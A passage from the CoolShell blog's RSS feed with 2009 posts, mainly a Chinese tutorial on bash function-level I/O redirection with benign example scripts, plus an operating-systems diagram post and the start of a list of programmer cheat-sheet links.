align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" alt=\"由苹果的低级Bug想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_title\">由苹果的低级Bug想到的</a></li><li ><a href=\"https://coolshell.cn/articles/3.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/webicon3-150x150.png\" alt=\"50套Web开发图标\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3.html\" class=\"wp_rp_title\">50套Web开发图标</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/830.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"语言的歧义\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/830.html\" class=\"wp_rp_title\">语言的歧义</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1582.html\">Bug 和 Icon 搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1582.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一张关于操作系统的图</title>\n\t\t<link>https://coolshell.cn/articles/1579.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1579.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 15 Oct 2009 02:44:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[MacOS]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1579</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一图胜千言 （转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章粉丝眼中的操作系统性能调优攻略10大经...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1579.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一图胜千言<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1580\" title=\"operating-systems\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems.jpg\" alt=\"operating-systems\" width=\"504\" height=\"445\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems.jpg 504w, https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-300x265.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-306x270.jpg 306w\" sizes=\"(max-width: 504px) 100vw, 504px\" /><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" alt=\"粉丝眼中的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_title\">粉丝眼中的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/linux_airline-150x150.jpg\" alt=\"操作系统航空公司\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_title\">操作系统航空公司</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1579.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>bash 函数级重定向</title>\n\t\t<link>https://coolshell.cn/articles/1574.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1574.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 14 Oct 2009 15:47:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Redirections]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1574</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信每一个人对于操作系统的重定向不会陌生了。就是&#62;, &#62;&#62;, &#60;, &#60;&#60;，关于重定向的基本知识我就不说了。这里主要讨论bas...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1574.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1574.html\">bash 函数级重定向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1380 alignright\" title=\"bash 函数级重定向\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/bash.jpg\" alt=\"bash 函数级重定向\" width=\"120\" height=\"120\" />相信每一个人对于操作系统的重定向不会陌生了。就是&gt;, &gt;&gt;, &lt;, &lt;&lt;，关于重定向的基本知识我就不说了。这里主要讨论bash的重定向中的一个鲜为人知的东西，那就是bash脚本的函数也可以定义相关的重定向操作。这可不是命令级的重定向，这是函数级的重点向。这并不是一个新的东西，我只是想告诉大家一个已经存在了多年但却可能不被人常用的功能。</p>\n<p>关于bash的这个函数级的重定向的语法其实很简单，你只需要在函数结尾时加上一些重定向的定义或指示符就可以了。下面是一个示例：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">function mytest()\n{\n        ...\n} &lt; mytest.in &gt; mytest.out 2&gt; mytest.err</pre>\n<p>现在，只要是test被调用，那么，这个函数就会从mytest.in读入数据，并把输出重定向到mytest.out文件中，然后标准错误则输出到mytest.err文件中。是不是很简单？</p>\n<p><span id=\"more-1574\"></span></p>\n<p>因为函数级的重定向仅当在被函数调用的时候才会起作用，而且其也是脚本的一部分，所以，你自然也可以使用变量来借文件名。下面是一个示例：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n} &gt;$out\n\nout=mytest1.out\nmytest\nout=mytest2.out\nmytest</pre>\n<p>这样一来，标准输出的重定向就可以随$out变量的改变而改变了。在上面的例子中，第一个调是重定向到mytest1.out，第二个则是到mytest2.out。</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ bash mytest.sh; more mytest?.out\n::::::::::::::\nmytest1.out\n::::::::::::::\nHello World CoolShell.cn\n::::::::::::::\nmytest2.out\n::::::::::::::\nHello World CoolShell.cn</pre>\n<p>正如前面所说的一样，这里并没有什么新的东西。上面的这个示例，转成传统的写法是：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n}\nmytest &gt;mytest1.out\nmytest &gt;mytest2.out</pre>\n<p>到此为此，好像这个feature并没有什么特别的实用之处。有一个可能比较实用的用法可能是把把你所有代码的的标准错误重定向到一个文件中去。如下面所示：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo &quot;$*&quot; &gt;&amp;2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\nfunction main()\n{\n    mytest1\n    mytest2\n} 2&gt;$log\n\nmain</pre>\n<p>运行上面的脚本，你可以得到下面的结果：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ bash mytest.sh ;cat err.log\nmytest1 hello1 world1 coolshell.cn\nmytest2 hello2 world2 coolshell.cn</pre>\n<p>当然，你也可以不用定义一个函数，只要是{&#8230;} 语句块，就可以使用函数级的重定向，就如下面的示例一样：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo &quot;$*&quot; &gt;&amp;2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\n{\nmytest1\nmytest2\n} 2&gt;$log</pre>\n<p>你也可以重定向 (&#8230;) 语句块，但那会导致语句被执行于一个sub-shell中，这可能会导致一些你不期望的行为或问题，因为sub-shell是在另一个进程中。</p>\n<p>如果你问，我们是否可以覆盖函数级的重定向。答案是否定的。如果你试图这样做，那么，函数调用点的重定向会首先执行，然后函数定义上的重定向会将其覆盖。下面是一个示例：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo hello world coolshell.cn\n} &gt;out1.txt\nmytest &gt;out2.txt</pre>\n<p>运行结果是，out2.txt会被建立，但里面什么也没有。</p>\n<p>下面是一个重定向标准输入的例子：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    while read line\n    do\n        echo $line\n    done\n} &lt;&lt;EOF\nhello\ncoolshell.cn\nEOF\nmytest</pre>\n<p>下面是其运行结果：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ bash mytest.sh\nhello\ncoolshell.cn</pre>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"用脚本实现哄宝宝睡觉(Demo)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_title\">用脚本实现哄宝宝睡觉(Demo)</a></li><li ><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"C语言和sh脚本的杂交代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1824.html\" class=\"wp_rp_title\">C语言和sh脚本的杂交代码</a></li><li ><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/baby_linux-150x150.jpg\" alt=\"用脚本实现哄小孩睡觉\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_title\">用脚本实现哄小孩睡觉</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1574.html\">bash 函数级重定向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1574.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员小抄大全</title>\n\t\t<link>https://coolshell.cn/articles/1566.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1566.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Oct 2009 14:26:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1566</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你是否会经常忘记一些CSS中的函数名或是一些属性名，那个时候，你一定觉得，如果手边有一个“小抄”（Cheat Sheet）就好了。当然，这个“小抄”不是给你作弊...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1566.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1566.html\">程序员小抄大全</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1568 alignright\" title=\"Cheat Sheet\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/Cheating.jpg\" alt=\"Cheat Sheet\" width=\"180\" height=\"120\" />你是否会经常忘记一些CSS中的函数名或是一些属性名，那个时候，你一定觉得，如果手边有一个“小抄”（Cheat Sheet）就好了。当然，这个“小抄”不是给你作弊用的，这个“小纸条”就是可以让你马上知道那个你最想知道的东西。这个“小抄”上也不需要有所有的东西，就需要那些经常用的就行了。现在，网上有很多这样的“小抄”，它们可能是PDF格式的，可能是PNG格式的，你可以很方便地把其打印出来（可以打印得很小），然后贴在你的电脑旁，一但需要，瞟一眼就可以了，这对于我们的工作是相当方便的。</p>\n<p>之前，酷壳也有两篇关于速查卡的文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/870.html\">Web设计的速查卡</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/150.html\">Vim命令速查卡</a>》，不过都不如本贴多。</p>\n<p>下面是N多的各种和样的“小抄”，其中包括了Ajax, C++, Java, Python, PHP, Perl, ASP, Unix, Ruby, Google, HTML, CSS, XML &#8230;&#8230;..，让我们姑且叫做“程序员小抄大全”吧。当然，他们都是英文版的，可能某些链接你可能需要翻墙软件才能访问。我这里就不教你怎么翻墙了，这样的贴子网上多的是。</p>\n<p><span id=\"more-1566\"></span></p>\n<p><strong>Actionscript</strong></p>\n<ul>\n<li><a href=\"http://actionscriptcheatsheet.com/blog/quick-referencecheatsheet-for-actionscript-20/\">Quick reference/Cheatsheet for ActionScript 2.0</a></li>\n</ul>\n<p><strong>Ajax</strong></p>\n<ul>\n<li><a href=\"http://slash7.com/cheats/whats_ajax_cheatsheet.pdf\">What&#8217;s Ajax? Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.snook.ca/archives/javascript/prototype_disse/\">Prototype Dissected — Cheat Sheet PNG</a></li>\n<li><a href=\"http://slash7.com/cheats/scriptaculous_fx1.pdf\">scriptaculous Combination Effects — Cheat Sheet — PDF</a></li>\n</ul>\n<p><strong>Apache</strong></p>\n<ul>\n<li><a href=\"http://www.petefreitag.com/cheatsheets/apache/\">Apache Cheat Sheet</a></li>\n<li><a href=\"http://www.thejackol.com/htaccess-cheatsheet/\">htaccess Cheatsheet</a></li>\n<li><a href=\"http://www.addedbytes.com/mod_rewrite_cheat_sheet.png\">mod_rewrite Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/mod_rewrite_cheat_sheet.pdf\">mod_rewrite Cheat Sheet — PDF</a></li>\n</ul>\n<p><strong>ASCII Character Codes</strong></p>\n<ul>\n<li><a href=\"http://www.cookwood.com/html/extras/entities.html\">Character Entity References in HTML 4 and XHTML 1.0</a></li>\n<li><a href=\"http://www.addedbytes.com/characters_cheat_sheet.png\">HTML Character Entities Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/characters_cheat_sheet.pdf\">HTML Character Entities Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.chami.com/tips/internet/050798I.html\">HTML special character reference</a></li>\n<li><a href=\"http://tlt.its.psu.edu/suggestions/international/web/codehtml.html\">HTML — Special Entity Codes</a></li>\n<li><a href=\"http://www.yellowpipe.com/yis/tools/ASCII-HTML-Characters/index.php\">Special ASCII HTML Character Codes</a></li>\n<li><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\">XHTML Character Entity Reference</a></li>\n</ul>\n<p><strong>ASP</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/asp_cheat_sheet.png\">ASP / VBScript Cheat Sheet — PNG</a></li>\n</ul>\n<p><strong>C# and VB.NET</strong></p>\n<ul>\n<li><a href=\"http://aspalliance.com/625\">C# and VB.NET Comparison Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.codeproject.com/dotnet/CheatSheetCastingNET.asp\">Cheat Sheet — Casting in VB.NET and C#</a></li>\n</ul>\n<p><strong>CSS</strong></p>\n<ul>\n<li><a href=\"http://www.veign.com/downloads/guides/qrg0007.pdf\">CSS 2 — Quick Reference Guide — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/css_cheat_sheet.pdf\">CSS Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/css_cheat_sheet.png\">CSS Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.blooberry.com/indexdot/css/propindex/all.htm\">CSS Property Index</a></li>\n<li><a href=\"http://home.tampabay.rr.com/bmerkey/cheatsheet.htm\">Cascading Style Cheatsheet</a></li>\n<li><a href=\"http://www.dustindiaz.com/css-shorthand/\">CSS Shorthand Guide</a></li>\n</ul>\n<p><strong>CVS</strong></p>\n<ul>\n<li><a href=\"http://www-bcl.cs.unm.edu/computers/cvs.html\">CVS Cheat Sheet</a></li>\n<li><a href=\"http://www.cs.put.poznan.pl/csobaniec/Papers/svn-refcard.pdf\">Subversion Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.slac.stanford.edu/grp/cd/soft/cvs/cvs_cheatsheet.html\">CVS Cheat-sheet</a></li>\n</ul>\n<p><strong>C++</strong></p>\n<ul>\n<li><a href=\"http://www.linuxsoftware.co.nz/cppcontainers.html\">C++ Containers Cheat Sheet</a></li>\n<li><a href=\"http://downloads.dreamincode.net/ref_sheets/cpp_reference_sheet.pdf\">C++ Quick Reference Sheet (Cheat Sheet) — PDF</a></li>\n<li><a href=\"http://cs.fit.edu/%7Emmahoney/cse2050/how2cpp.html\">How to Program in C++ — Language Summary</a></li>\n</ul>\n<p><strong>Django</strong></p>\n<ul>\n<li><a title=\"The Django Book\" href=\"http://www.djangobook.com/\">The Django Book</a></li>\n</ul>\n<p><strong>Firefox</strong></p>\n<ul>\n<li><a href=\"http://the-cream.blogspot.com/2006/10/firefox-keyboard-shortcuts.html\">Firefox Keyboard Shortcuts — PDF</a></li>\n<li><a href=\"http://www.accessfirefox.com/ShortcutsKandM.html\">Firefox Shortcuts Sheet</a></li>\n<li><a href=\"http://lesliefranke.com/2006/06/22/mozilla-firefox-cheat-sheet-update/\">Mozilla Firefox Cheat Sheet</a></li>\n<li><a href=\"http://lesliefranke.com/files/reference/thunderbirdcheatsheet.html\">Mozilla Thunderbird Cheat Sheet</a></li>\n<li><a href=\"http://www.mozilla.org/support/firefox/keyboard\">Keyboard Shortcuts</a></li>\n</ul>\n<p><strong>Google</strong></p>\n<ul>\n<li><a href=\"http://evhead.com/hodgepodge/gmail-shortcuts.html\">Gmail Shortcuts (printable cheatsheet)</a></li>\n<li><a href=\"http://www.googleguide.com/advanced_operators_reference.html\">Google Advanced Operators (Cheat Sheet)</a></li>\n<li><a href=\"http://www.adelaider.com/google/\">Google Cheat Sheet (Version 1.06) — PDF</a></li>\n<li><a href=\"http://www.bueltge.de/allg-google-cheat-sheet/42/\">Google Cheat Sheet — auch als PDF</a></li>\n<li><a href=\"http://www.feedsforme.com/google/\">Google Cheat Sheets — auch als PDF</a></li>\n<li><a href=\"http://www.google.com/help/cheatsheet.html\">Google Help : Cheat Sheet</a></li>\n</ul>\n<p><strong>HTML/XHTML</strong></p>\n<ul>\n<li><a href=\"http://www.alphalink.com.au/%7Erhduncan/htmlguide/cheatindex.html\">A Simple Guide To HTML — Cheat Sheet</a></li>\n<li><a href=\"http://library.albany.edu/imc/pdf/HTML-XHTML_Tag_Sheet.pdf\">HTML &amp; XHTML Tag Quick Reference</a></li>\n<li><a href=\"http://www.psacake.com/web/dy.asp\">HTML Cheat Sheet</a></li>\n<li><a href=\"http://www.cookwood.com/html/extras/entities.html\">HTML Entities</a></li>\n<li><a href=\"http://www.killersites.com/HTML_CODES/index.jsp\">HTML CODES CHEAT SHEET</a></li>\n<li><a href=\"http://cdburnerxp.se/htmlcheatsheet.pdf\">XHTML</a></li>\n<li><a href=\"http://www.angelfire.com/nm/thehtmlsource/html/cheatsheet.html\">HTML Cheat Sheet</a></li>\n<li><a href=\"http://cdburnerxp.se/htmlcheatsheet.pdf\">XHTML Cheat Sheet v. 1.03 — PDF</a></li>\n</ul>\n<p><strong>Java</strong></p>\n<ul>\n<li><a href=\"http://www.janeg.ca/JQREF.pdf\">Java Quick Reference — PDF</a></li>\n<li><a href=\"http://java.sun.com/products/jsp/syntax/1.1/card11.pdf\">(</a><a href=\"http://java.sun.com/products/jsp/syntax/1.1/card11.pdf\">JSPª) SYNTAX version 1.1</a></li>\n<li><a href=\"http://java.sun.com/products/jsp/syntax/2.0/card20.pdf\">(JSP<img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png\" alt=\"™\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />) SYNTAX version 2.0</a></li>\n</ul>\n<p><strong>JavaScript</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/javascript_cheat_sheet.png\">JavaScript Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/javascript_cheat_sheet.pdf\">JavaScript Cheat Sheet — PDF</a></li>\n<li><a href=\"http://javascript-reference.info/\">JavaScript Reference</a></li>\n<li><a href=\"http://www.dannyg.com/ref/jsquickref.html\">JavaScript and Browser Objects Quick Reference</a></li>\n<li><a href=\"http://www.visibone.com/regular-expressions/\">Regular Expressions for JavaSript — free online quick reference</a></li>\n</ul>\n<p><strong>Microformats</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/microformats-cheat-sheet/\">Microformats Cheat Sheet</a></li>\n<li><a href=\"http://suda.co.uk/projects/microformats/cheatsheet/\">Microformats Cheat Sheet</a></li>\n</ul>\n<p><strong>Misc</strong></p>\n<ul>\n<li><a href=\"http://www.draac.com/chmodchart.html\">CHMOD Chart</a></li>\n<li><a href=\"http://photonotes.org/cgi-bin/view.pl?letter=%21\">Complete listing of common camera symbols.</a></li>\n<li><a href=\"http://www.sql-und-xml.de/unicode-database/\">The 